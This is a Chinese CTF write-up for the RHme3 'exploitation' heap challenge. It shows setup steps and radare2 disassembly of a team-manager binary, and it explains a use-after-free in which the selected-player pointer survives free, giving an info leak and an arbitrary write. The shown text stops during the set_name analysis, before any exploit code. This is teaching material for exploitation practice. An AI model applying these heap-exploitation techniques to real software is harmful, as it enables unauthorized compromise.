> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.9_pwn_rhme3_exploitation.md).

# 6.1.9 pwn RHme3 Exploitation

* [题目复现](#题目复现)
* [题目解析](#题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.9_pwn_rhme3_exploitation)

## 题目复现

这个题目给出了二进制文件和 libc。

```
$ file main.bin
main.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
$ checksec -f main.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               10      main.bin
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```

64 位程序，保护措施除了 PIE 都开启了。

但其实这个程序并不能运行，它是一个线下赛的题目，会对做一些环境检查和处理，直接 nop 掉就好了：

```
|           0x004021ad      bf18264000     mov edi, 0x402618
|           0x004021b2      e87ceeffff     call sym.background_process
|           0x004021b7      bf39050000     mov edi, 0x539              ; 1337
|           0x004021bc      e85eefffff     call sym.serve_forever
|           0x004021c1      8945f8         mov dword [local_8h], eax
|           0x004021c4      8b45f8         mov eax, dword [local_8h]
|           0x004021c7      89c7           mov edi, eax
|           0x004021c9      e8c6f0ffff     call sym.set_io
```

```
$ python2 -c 'print "90"*33' > nop.txt
```

```
[0x00400ec0]> s 0x004021ad
[0x004021ad]> cat ./nop.txt
909090909090909090909090909090909090909090909090909090909090909090
[0x004021ad]> wxf ./nop.txt
```

最后把它运行起来：

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./main.elf" &
```

## 题目解析

玩一下，一看就是堆利用的题目：

```
$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:
```

程序就是添加、删除、编辑和显示球员信息。但要注意的是在编辑和显示球员前，需要先选择球员，这一点很重要。

添加两个球员看看：

```
Your choice: 1
Found free slot: 0
Enter player name: aaaa
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 1
Enter player name: bbbb
Enter attack points: 5
Enter defense points: 6
Enter speed: 7
Enter precision: 8
```

试着选中第一个球员，然后删除它：

```
Your choice: 3
Enter index: 0
Player selected!
        Name: aaaa
        A/D/S/P: 1,2,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
She's gone!
```

接下来直接显示该球员信息：

```
Your choice: 5
        Name:
        A/D/S/P: 29082240,0,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 6
Your team:
Player 0
        Name: bbbb
        A/D/S/P: 5,6,7,8
```

奇怪的事情发生了，程序没有提醒我们球员不存在，而是直接读取了内存中的信息。

于是我们猜测，程序在 free 球员时没有将 select 的值置空，导致了 use-after-free 的问题。关于 UAF 已经在前面的章节中讲过了。

很明显，每个球员都是一个下面这样的结构体：

```c
struct player {
    int32_t attack_pts;
    int32_t defense_pts;
    int32_t speed;
    int32_t precision;
    char *name;
}
```

### 静态分析

先来看一下添加球员的过程，函数 `sym.add_player`：

````
[0x00400ec0]> pdf @ sym.add_player
/ (fcn) sym.add_player 789
|   sym.add_player ();
|           ; var int local_11ch @ rbp-0x11c
|           ; var int local_118h @ rbp-0x118
|           ; var int local_110h @ rbp-0x110
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402235 (main + 148)
|           0x00401801      55             push rbp
|           0x00401802      4889e5         mov rbp, rsp
|           0x00401805      4881ec200100.  sub rsp, 0x120
|           0x0040180c      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401815      488945f8       mov qword [local_8h], rax
|           0x00401819      31c0           xor eax, eax
|           0x0040181b      48c785e8feff.  mov qword [local_118h], 0
|           0x00401826      c785e4feffff.  mov dword [local_11ch], 0    ; player 编号初始值为 0
|       ,=< 0x00401830      eb07           jmp 0x401839
|       |      ; JMP XREF from 0x00401853 (sym.add_player)
|      .--> 0x00401832      8385e4feffff.  add dword [local_11ch], 1    ; 编号加 1
|      :|      ; JMP XREF from 0x00401830 (sym.add_player)
|      :`-> 0x00401839      83bde4feffff.  cmp dword [local_11ch], 0xa ; [0xa:4]=-1 ; 10
|      :,=< 0x00401840      7713           ja 0x401855
|      :|   0x00401842      8b85e4feffff   mov eax, dword [local_11ch]
|      :|   0x00401848      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|      :|   0x00401850      4885c0         test rax, rax
|      `==< 0x00401853      75dd           jne 0x401832
|       |      ; JMP XREF from 0x00401840 (sym.add_player)
|       `-> 0x00401855      83bde4feffff.  cmp dword [local_11ch], 0xb ; [0xb:4]=-1 ; 11
|       ,=< 0x0040185c      751e           jne 0x40187c
|       |   0x0040185e      bf70244000     mov edi, str.Maximum_number_of_players_reached ; 0x402470 ; "Maximum number of players reached!"
|       |   0x00401863      e818f4ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401868      488b05f11820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x0040186f      4889c7         mov rdi, rax
|       |   0x00401872      e849f5ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      ,==< 0x00401877      e984020000     jmp 0x401b00
|      ||      ; JMP XREF from 0x0040185c (sym.add_player)
|      |`-> 0x0040187c      8b85e4feffff   mov eax, dword [local_11ch]
|      |    0x00401882      89c6           mov esi, eax
|      |    0x00401884      bf93244000     mov edi, str.Found_free_slot:__d ; 0x402493 ; "Found free slot: %d\n"
|      |    0x00401889      b800000000     mov eax, 0
|      |    0x0040188e      e86df4ffff     call sym.imp.printf         ; int printf(const char *format)
|      |    0x00401893      488b05c61820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x0040189a      4889c7         mov rdi, rax
|      |    0x0040189d      e81ef5ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |    0x004018a2      bf18000000     mov edi, 0x18               ; 24
|      |    0x004018a7      e804f5ffff     call sym.imp.malloc         ;  void *malloc(size_t size) ; 第一个 malloc，给 player 结构体分配空间
|      |    0x004018ac      488985e8feff.  mov qword [local_118h], rax  ; 返回地址 rax -> [local_118h]
|      |    0x004018b3      4883bde8feff.  cmp qword [local_118h], 0
|      |,=< 0x004018bb      751e           jne 0x4018db
|      ||   0x004018bd      bfa8244000     mov edi, 0x4024a8
|      ||   0x004018c2      e8b9f3ffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x004018c7      488b05921820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      ||   0x004018ce      4889c7         mov rdi, rax
|      ||   0x004018d1      e8eaf4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ,===< 0x004018d6      e925020000     jmp 0x401b00
|     |||      ; JMP XREF from 0x004018bb (sym.add_player)
|     ||`-> 0x004018db      488b85e8feff.  mov rax, qword [local_118h]
|     ||    0x004018e2      ba18000000     mov edx, 0x18               ; 24
|     ||    0x004018e7      be00000000     mov esi, 0
|     ||    0x004018ec      4889c7         mov rdi, rax
|     ||    0x004018ef      e82cf4ffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|     ||    0x004018f4      bfbb244000     mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: "
|     ||    0x004018f9      b800000000     mov eax, 0
|     ||    0x004018fe      e8fdf3ffff     call sym.imp.printf         ; int printf(const char *format)
|     ||    0x00401903      488b05561820.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|     ||    0x0040190a      4889c7         mov rdi, rax
|     ||    0x0040190d      e8aef4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ||    0x00401912      488d85f0feff.  lea rax, rbp - 0x110
|     ||    0x00401919      ba00010000     mov edx, 0x100              ; 256
|     ||    0x0040191e      be00000000     mov esi, 0
|     ||    0x00401923      4889c7         mov rdi, rax
|     ||    0x00401926      e8f5f3ffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|     ||    0x0040192b      488d85f0feff.  lea rax, rbp - 0x110
|     ||    0x00401932      be00010000     mov esi, 0x100              ; 256
|     ||    0x00401937      4889c7         mov rdi, rax
|     ||    0x0040193a      e884fbffff     call sym.readline
|     ||    0x0040193f      488d85f0feff.  lea rax, rbp - 0x110         ; 读入字符串到 rbp - 0x110
|     ||    0x00401946      4889c7         mov rdi, rax
|     ||    0x00401949      e852f3ffff     call sym.imp.strlen         ; size_t strlen(const char *s) ; player.name 长度
|     ||    0x0040194e      4883c001       add rax, 1                   ; 长度加 1
|     ||    0x00401952      4889c7         mov rdi, rax
|     ||    0x00401955      e856f4ffff     call sym.imp.malloc         ;  void *malloc(size_t size) ; 第二个 malloc，给 player.name 分配空间
|     ||    0x0040195a      4889c2         mov rdx, rax                 ; 返回地址 rax -> rdx
|     ||    0x0040195d      488b85e8feff.  mov rax, qword [local_118h]  ; player 结构体 [local_118h] -> rax
|     ||    0x00401964      48895010       mov qword [rax + 0x10], rdx  ; player.name 存放到 [rax + 0x10]
|     ||    0x00401968      488b85e8feff.  mov rax, qword [local_118h]
|     ||    0x0040196f      488b4010       mov rax, qword [rax + 0x10] ;
|     ||    0x00401973      4885c0         test rax, rax
|     ||,=< 0x00401976      7523           jne 0x40199b
|     |||   0x00401978      bfcf244000     mov edi, str.Could_not_allocate ; 0x4024cf ; "Could not allocate!"
|     |||   0x0040197d      b800000000     mov eax, 0
|     |||   0x00401982      e879f3ffff     call sym.imp.printf         ; int printf(const char *format)
|     |||   0x00401987      488b05d21720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|     |||   0x0040198e      4889c7         mov rdi, rax
|     |||   0x00401991      e82af4ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    ,====< 0x00401996      e965010000     jmp 0x401b00
|    ||||      ; JMP XREF from 0x00401976 (sym.add_player)
|    |||`-> 0x0040199b      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x004019a2      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 到 rax
|    |||    0x004019a6      488d95f0feff.  lea rdx, rbp - 0x110         ; 取出 payler.name 字符串地址到 rdx
|    |||    0x004019ad      4889d6         mov rsi, rdx                 ; rdx -> rsi
|    |||    0x004019b0      4889c7         mov rdi, rax                 ; rax -> rdi
|    |||    0x004019b3      e8b8f2ffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src) ; 将字符串复制到 player.name 指向的地址
|    |||    0x004019b8      bfe3244000     mov edi, str.Enter_attack_points: ; 0x4024e3 ; "Enter attack points: "
|    |||    0x004019bd      b800000000     mov eax, 0
|    |||    0x004019c2      e839f3ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x004019c7      488b05921720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x004019ce      4889c7         mov rdi, rax
|    |||    0x004019d1      e8eaf3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x004019d6      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x004019dd      be04000000     mov esi, 4
|    |||    0x004019e2      4889c7         mov rdi, rax
|    |||    0x004019e5      e8d9faffff     call sym.readline            ; 读入 attack_pts
|    |||    0x004019ea      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x004019f1      4889c7         mov rdi, rax
|    |||    0x004019f4      e847f4ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x004019f9      89c2           mov edx, eax
|    |||    0x004019fb      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a02      8910           mov dword [rax], edx         ; 将 attack_pts 写入 local_118h
|    |||    0x00401a04      bff9244000     mov edi, str.Enter_defense_points: ; 0x4024f9 ; "Enter defense points: "
|    |||    0x00401a09      b800000000     mov eax, 0
|    |||    0x00401a0e      e8edf2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401a13      488b05461720.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401a1a      4889c7         mov rdi, rax
|    |||    0x00401a1d      e89ef3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401a22      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a29      be04000000     mov esi, 4
|    |||    0x00401a2e      4889c7         mov rdi, rax
|    |||    0x00401a31      e88dfaffff     call sym.readline            ; 读入 defense_pts
|    |||    0x00401a36      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a3d      4889c7         mov rdi, rax
|    |||    0x00401a40      e8fbf3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401a45      89c2           mov edx, eax
|    |||    0x00401a47      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a4e      895004         mov dword [rax + 4], edx     ; 将 defense_pts 写入 local_118h + 4
|    |||    0x00401a51      bf10254000     mov edi, str.Enter_speed:   ; 0x402510 ; "Enter speed: "
|    |||    0x00401a56      b800000000     mov eax, 0
|    |||    0x00401a5b      e8a0f2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401a60      488b05f91620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401a67      4889c7         mov rdi, rax
|    |||    0x00401a6a      e851f3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401a6f      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a76      be04000000     mov esi, 4
|    |||    0x00401a7b      4889c7         mov rdi, rax
|    |||    0x00401a7e      e840faffff     call sym.readline            ; 读入 speed
|    |||    0x00401a83      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401a8a      4889c7         mov rdi, rax
|    |||    0x00401a8d      e8aef3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401a92      89c2           mov edx, eax
|    |||    0x00401a94      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401a9b      895008         mov dword [rax + 8], edx     ; 将 speed 写入 local_118 + 8
|    |||    0x00401a9e      bf1e254000     mov edi, str.Enter_precision: ; 0x40251e ; "Enter precision: "
|    |||    0x00401aa3      b800000000     mov eax, 0
|    |||    0x00401aa8      e853f2ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x00401aad      488b05ac1620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|    |||    0x00401ab4      4889c7         mov rdi, rax
|    |||    0x00401ab7      e804f3ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|    |||    0x00401abc      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401ac3      be04000000     mov esi, 4
|    |||    0x00401ac8      4889c7         mov rdi, rax
|    |||    0x00401acb      e8f3f9ffff     call sym.readline            ; 读入 precision
|    |||    0x00401ad0      488d85f0feff.  lea rax, rbp - 0x110
|    |||    0x00401ad7      4889c7         mov rdi, rax
|    |||    0x00401ada      e861f3ffff     call sym.imp.atoi           ; int atoi(const char *str)
|    |||    0x00401adf      89c2           mov edx, eax
|    |||    0x00401ae1      488b85e8feff.  mov rax, qword [local_118h]
|    |||    0x00401ae8      89500c         mov dword [rax + 0xc], edx   ; 将 precision 写入 local_118h + 0xc
|    |||    0x00401aeb      8b85e4feffff   mov eax, dword [local_11ch]  ; player 编号
|    |||    0x00401af1      488b95e8feff.  mov rdx, qword [local_118h]  ; player 结构体
|    |||    0x00401af8      488914c58031.  mov qword [rax*8 + obj.players], rdx ; [0x603180:8]=0 ; 当前 player 结构体地址写入 rax*8 + obj.players
|    |||       ; JMP XREF from 0x00401996 (sym.add_player)
|    |||       ; JMP XREF from 0x004018d6 (sym.add_player)
|    |||       ; JMP XREF from 0x00401877 (sym.add_player)
|    ```--> 0x00401b00      488b45f8       mov rax, qword [local_8h]
|           0x00401b04      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401b0d      7405           je 0x401b14
|       |   0x00401b0f      e8acf1ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401b0d (sym.add_player)
|       `-> 0x00401b14      c9             leave
\           0x00401b15      c3             ret
````

该函数会做一些基本的检查，如球员最大数量等，然后开始添加球员的过程。根据我们的分析，`obj.players` 应该是一个全局数组，用于存放所有球员的地址。

```
[0x00400ec0]> is~players
vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT name=players
```

当球员添加完成后，就将其结构体地址添加到这个数组中。球员的选择过程就是通过这个数组完成的。

下面是选择球员的过程，函数 `sym.select_player`：

```
[0x00400ec0]> pdf @ sym.select_player
/ (fcn) sym.select_player 214
|   sym.select_player ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x0040224d (main + 172)
|           0x00401c05      55             push rbp
|           0x00401c06      4889e5         mov rbp, rsp
|           0x00401c09      4883ec20       sub rsp, 0x20
|           0x00401c0d      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401c16      488945f8       mov qword [local_8h], rax
|           0x00401c1a      31c0           xor eax, eax
|           0x00401c1c      bf30254000     mov edi, str.Enter_index:   ; 0x402530 ; "Enter index: "
|           0x00401c21      b800000000     mov eax, 0
|           0x00401c26      e8d5f0ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401c2b      488b052e1520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401c32      4889c7         mov rdi, rax
|           0x00401c35      e886f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401c3a      488d45f0       lea rax, rbp - 0x10
|           0x00401c3e      be04000000     mov esi, 4
|           0x00401c43      4889c7         mov rdi, rax
|           0x00401c46      e878f8ffff     call sym.readline            ; 读入球员编号
|           0x00401c4b      488d45f0       lea rax, rbp - 0x10
|           0x00401c4f      4889c7         mov rdi, rax
|           0x00401c52      e8e9f1ffff     call sym.imp.atoi           ; int atoi(const char *str)
|           0x00401c57      8945ec         mov dword [local_14h], eax   ; 编号 eax -> [local_14h]
|           0x00401c5a      837dec0a       cmp dword [local_14h], 0xa  ; [0xa:4]=-1 ; 10
|       ,=< 0x00401c5e      7710           ja 0x401c70
|       |   0x00401c60      8b45ec         mov eax, dword [local_14h]
|       |   0x00401c63      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|       |   0x00401c6b      4885c0         test rax, rax
|      ,==< 0x00401c6e      751b           jne 0x401c8b
|      ||      ; JMP XREF from 0x00401c5e (sym.select_player)
|      |`-> 0x00401c70      bf3e254000     mov edi, str.Invalid_index  ; 0x40253e ; "Invalid index"
|      |    0x00401c75      e806f0ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x00401c7a      488b05df1420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x00401c81      4889c7         mov rdi, rax
|      |    0x00401c84      e837f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |,=< 0x00401c89      eb3a           jmp 0x401cc5
|      ||      ; JMP XREF from 0x00401c6e (sym.select_player)
|      `--> 0x00401c8b      8b45ec         mov eax, dword [local_14h]   ; 取出编号 [local_14h] -> eax
|       |   0x00401c8e      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|       |   0x00401c96      488905d31420.  mov qword [obj.selected], rax ; [0x603170:8]=0 ; 将地址写入 [obj.selected]
|       |   0x00401c9d      bf58254000     mov edi, str.Player_selected ; 0x402558 ; "Player selected!"
|       |   0x00401ca2      e8d9efffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401ca7      488b05b21420.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x00401cae      4889c7         mov rdi, rax
|       |   0x00401cb1      e80af1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|       |   0x00401cb6      488b05b31420.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出球员地址
|       |   0x00401cbd      4889c7         mov rdi, rax                 ; rax -> rdi
|       |   0x00401cc0      e8c6faffff     call sym.show_player_func    ; 调用函数 sym.show_player_func 打印出球员信息
|       |      ; JMP XREF from 0x00401c89 (sym.select_player)
|       `-> 0x00401cc5      488b45f8       mov rax, qword [local_8h]
|           0x00401cc9      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401cd2      7405           je 0x401cd9
|       |   0x00401cd4      e8e7efffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401cd2 (sym.select_player)
|       `-> 0x00401cd9      c9             leave
\           0x00401cda      c3             ret
```

对象 `obj.selected` 是一个全局变量，用于存放选择的球员编号。

```
[0x00400ec0]> is~selected
vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT name=selected
```

选中球员之后，打印球员信息的操作就是通过从 `obj.selected` 中获取球员地址实现的。

下面是删除球员的过程，函数 `sym.delete_player`：

```
[0x00400ec0]> pdf @ sym.delete_player
/ (fcn) sym.delete_player 239
|   sym.delete_player ();
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402241 (main + 160)
|           0x00401b16      55             push rbp
|           0x00401b17      4889e5         mov rbp, rsp
|           0x00401b1a      4883ec20       sub rsp, 0x20
|           0x00401b1e      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00401b27      488945f8       mov qword [local_8h], rax
|           0x00401b2b      31c0           xor eax, eax
|           0x00401b2d      bf30254000     mov edi, str.Enter_index:   ; 0x402530 ; "Enter index: "
|           0x00401b32      b800000000     mov eax, 0
|           0x00401b37      e8c4f1ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401b3c      488b051d1620.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|           0x00401b43      4889c7         mov rdi, rax
|           0x00401b46      e875f2ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x00401b4b      488d45f0       lea rax, rbp - 0x10
|           0x00401b4f      be04000000     mov esi, 4
|           0x00401b54      4889c7         mov rdi, rax
|           0x00401b57      e867f9ffff     call sym.readline            ; 读入球员编号
|           0x00401b5c      488d45f0       lea rax, rbp - 0x10
|           0x00401b60      4889c7         mov rdi, rax
|           0x00401b63      e8d8f2ffff     call sym.imp.atoi           ; int atoi(const char *str)
|           0x00401b68      8945e4         mov dword [local_1ch], eax   ; 编号 eax -> [local_1ch]
|           0x00401b6b      837de40a       cmp dword [local_1ch], 0xa  ; [0xa:4]=-1 ; 10
|       ,=< 0x00401b6f      7710           ja 0x401b81
|       |   0x00401b71      8b45e4         mov eax, dword [local_1ch]
|       |   0x00401b74      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|       |   0x00401b7c      4885c0         test rax, rax
|      ,==< 0x00401b7f      751b           jne 0x401b9c
|      ||      ; JMP XREF from 0x00401b6f (sym.delete_player)
|      |`-> 0x00401b81      bf3e254000     mov edi, str.Invalid_index  ; 0x40253e ; "Invalid index"
|      |    0x00401b86      e8f5f0ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x00401b8b      488b05ce1520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      |    0x00401b92      4889c7         mov rdi, rax
|      |    0x00401b95      e826f2ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      |,=< 0x00401b9a      eb53           jmp 0x401bef
|      ||      ; JMP XREF from 0x00401b7f (sym.delete_player)
|      `--> 0x00401b9c      8b45e4         mov eax, dword [local_1ch]   ; 取出编号 [local_1ch] -> eax
|       |   0x00401b9f      488b04c58031.  mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|       |   0x00401ba7      488945e8       mov qword [local_18h], rax   ; 将球员地址 rax 放入 [local_18h]
|       |   0x00401bab      8b45e4         mov eax, dword [local_1ch]   ; 取出编号 [local_1ch] -> eax
|       |   0x00401bae      48c704c58031.  mov qword [rax*8 + obj.players], 0 ; [0x603180:8]=0 ; 将 players 数组中的对应值置零
|       |   0x00401bba      488b45e8       mov rax, qword [local_18h]   ; 将球员地址 [local_18h] 放回 rax
|       |   0x00401bbe      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 指向的字符串
|       |   0x00401bc2      4889c7         mov rdi, rax                 ; 字符串地址 rax -> rdi
|       |   0x00401bc5      e886f0ffff     call sym.imp.free           ; void free(void *ptr)   ; 调用函数 free 释放球员名字
|       |   0x00401bca      488b45e8       mov rax, qword [local_18h]   ; 将球员地址 [local_18h] 放回 rax
|       |   0x00401bce      4889c7         mov rdi, rax                 ; 球员地址 rax -> rdi
|       |   0x00401bd1      e87af0ffff     call sym.imp.free           ; void free(void *ptr)   ; 调用函数 free 释放球员结构体
|       |   0x00401bd6      bf4c254000     mov edi, str.She_s_gone     ; 0x40254c ; "She's gone!"
|       |   0x00401bdb      e8a0f0ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401be0      488b05791520.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x00401be7      4889c7         mov rdi, rax
|       |   0x00401bea      e8d1f1ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|       |      ; JMP XREF from 0x00401b9a (sym.delete_player)
|       `-> 0x00401bef      488b45f8       mov rax, qword [local_8h]
|           0x00401bf3      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401bfc      7405           je 0x401c03
|       |   0x00401bfe      e8bdf0ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401bfc (sym.delete_player)
|       `-> 0x00401c03      c9             leave
\           0x00401c04      c3             ret
```

该函数首先释放掉球员的名字，然后释放掉球员的结构体。却没有对 `obj.selected` 做任何修改，而该对象中存放的是选中球员的地址，这就存在一个逻辑漏洞，如果我们在释放球员之前选中该球员，则可以继续使用这个指针对内存进行操作，即 UAF 漏洞。

最后看一下显示球员信息的过程，函数 `sym.show_player`：

```
[0x00400ec0]> pdf @ sym.show_player
/ (fcn) sym.show_player 99
|   sym.show_player ();
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x00402265 (main + 196)
|           0x004020b4      55             push rbp
|           0x004020b5      4889e5         mov rbp, rsp
|           0x004020b8      4883ec10       sub rsp, 0x10
|           0x004020bc      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004020c5      488945f8       mov qword [local_8h], rax
|           0x004020c9      31c0           xor eax, eax
|           0x004020cb      488b059e1020.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|           0x004020d2      4885c0         test rax, rax
|       ,=< 0x004020d5      751b           jne 0x4020f2
|       |   0x004020d7      bfe8254000     mov edi, str.No_player_selected_index ; 0x4025e8 ; "No player selected index"
|       |   0x004020dc      e89febffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004020e1      488b05781020.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|       |   0x004020e8      4889c7         mov rdi, rax
|       |   0x004020eb      e8d0ecffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|      ,==< 0x004020f0      eb0f           jmp 0x402101
|      ||      ; JMP XREF from 0x004020d5 (sym.show_player)
|      |`-> 0x004020f2      488b05771020.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|      |    0x004020f9      4889c7         mov rdi, rax                 ; 球员地址 rax -> rdi
|      |    0x004020fc      e88af6ffff     call sym.show_player_func    ; 调用函数 sym.show_player_func 打印出球员信息
|      |       ; JMP XREF from 0x004020f0 (sym.show_player)
|      `--> 0x00402101      488b45f8       mov rax, qword [local_8h]
|           0x00402105      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x0040210e      7405           je 0x402115
|       |   0x00402110      e8abebffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x0040210e (sym.show_player)
|       `-> 0x00402115      c9             leave
\           0x00402116      c3             ret
```

在该函数中，也未检查选中球员是否还存在，这就导致了信息泄露。

函数 `sym.edit_player` 可以调用函数 `sym.set_name` 修改 player name，但其也不会对 selected 的值做检查，配合上信息泄露，可以导致任意地址写。

```
[0x00400ec0]> pdf @ sym.set_name
/ (fcn) sym.set_name 281
|   sym.set_name ();
|           ; var int local_128h @ rbp-0x128
|           ; var int local_120h @ rbp-0x120
|           ; var int local_18h @ rbp-0x18
|              ; CALL XREF from 0x00402058 (sym.edit_player + 101)
|           0x00401cdb      55             push rbp
|           0x00401cdc      4889e5         mov rbp, rsp
|           0x00401cdf      53             push rbx
|           0x00401ce0      4881ec280100.  sub rsp, 0x128
